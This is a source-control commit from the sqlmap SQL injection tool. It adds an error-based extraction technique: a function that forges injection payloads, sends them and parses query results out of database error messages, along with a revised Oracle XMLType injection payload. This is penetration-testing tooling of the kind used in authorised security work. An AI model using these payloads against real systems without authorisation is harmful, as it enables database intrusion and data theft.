first successfull run of error based sqlmap in history :). tested --banner, --current-user, --current-db on 4 major DBMSes. still hidden from users (turn on flag error in getValue() in inject.py)

This commit is contained in:
Miroslav Stampar 2010-10-19 12:02:04 +00:00
parent 0c286d8db2
commit 6a8b1046d4
4 changed files with 58 additions and 4 deletions

View File

@ -95,6 +95,13 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.case = data self.__queries.case = data
elif name == "error":
data = sanitizeStr(attrs.get("query"))
self.__queries.error = data
data = sanitizeStr(attrs.get("regex"))
self.__queries.errorRegex = data
elif name == "inference": elif name == "inference":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.inference = data self.__queries.inference = data

View File

@ -19,11 +19,14 @@ from lib.core.common import parseUnionPage
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import safeStringFormat
from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.request.direct import direct from lib.request.direct import direct
from lib.techniques.inband.union.use import unionUse from lib.techniques.inband.union.use import unionUse
@ -326,7 +329,40 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
return data return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False): def __goError(expression, resumeValue=True):
"""
Retrieve the output of a SQL query taking advantage of an error SQL
injection vulnerability on the affected parameter.
"""
query = agent.prefixQuery(" %s" % temp.error)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
if resumeValue:
output = resume(expression, payload)
else:
output = None
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
return output
expressionUnescaped = unescaper.unescape(expression)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
forgedPayload = safeStringFormat(payload, expressionUnescaped)
result = Request.queryPage(urlencode(forgedPayload), content=True)
match = re.search(temp.errorRegex, result[0], re.DOTALL | re.IGNORECASE)
if match:
output = match.group('result')
return output
def getValue(expression, blind=True, inband=True, error=False, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
""" """
Called each time sqlmap inject a SQL query on the SQL injection Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output affected parameter. It can call a function to retrieve the output
@ -337,7 +373,7 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
if suppressOutput: if suppressOutput:
pushValue(conf.verbose) pushValue(conf.verbose)
conf.verbose = 0 conf.verbose = 0
if conf.direct: if conf.direct:
value = direct(expression) value = direct(expression)
else: else:
@ -347,7 +383,16 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
expression = expression.replace("DISTINCT ", "") expression = expression.replace("DISTINCT ", "")
if inband and kb.unionPosition: if error:
value = __goError(expression)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through error SQL injection "
warnMsg += "technique, sqlmap is going %s" % ("inband" if inband and kb.unionPosition else "blind")
logger.warn(warnMsg)
if inband and kb.unionPosition and not value:
value = __goInband(expression, expected, sort, resumeValue, unpack, dump) value = __goInband(expression, expected, sort, resumeValue, unpack, dump)
if not value: if not value:

View File

@ -64,6 +64,8 @@ class Enumeration:
kb.data.dumpedTable = {} kb.data.dumpedTable = {}
temp.inference = queries[dbms].inference temp.inference = queries[dbms].inference
temp.error = queries[dbms].error
temp.errorRegex = queries[dbms].errorRegex
def getBanner(self): def getBanner(self):
if not conf.getBanner: if not conf.getBanner:

View File

@ -91,7 +91,7 @@
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/> <timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
<substring query="SUBSTR((%s), %d, %d)"/> <substring query="SUBSTR((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/> <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
<error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(%s)||CHR(58)||CHR(58)||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+)::"/> <error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(%s)||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+)&amp;quot;"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/> <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/> <current_user query="SELECT USER FROM DUAL"/>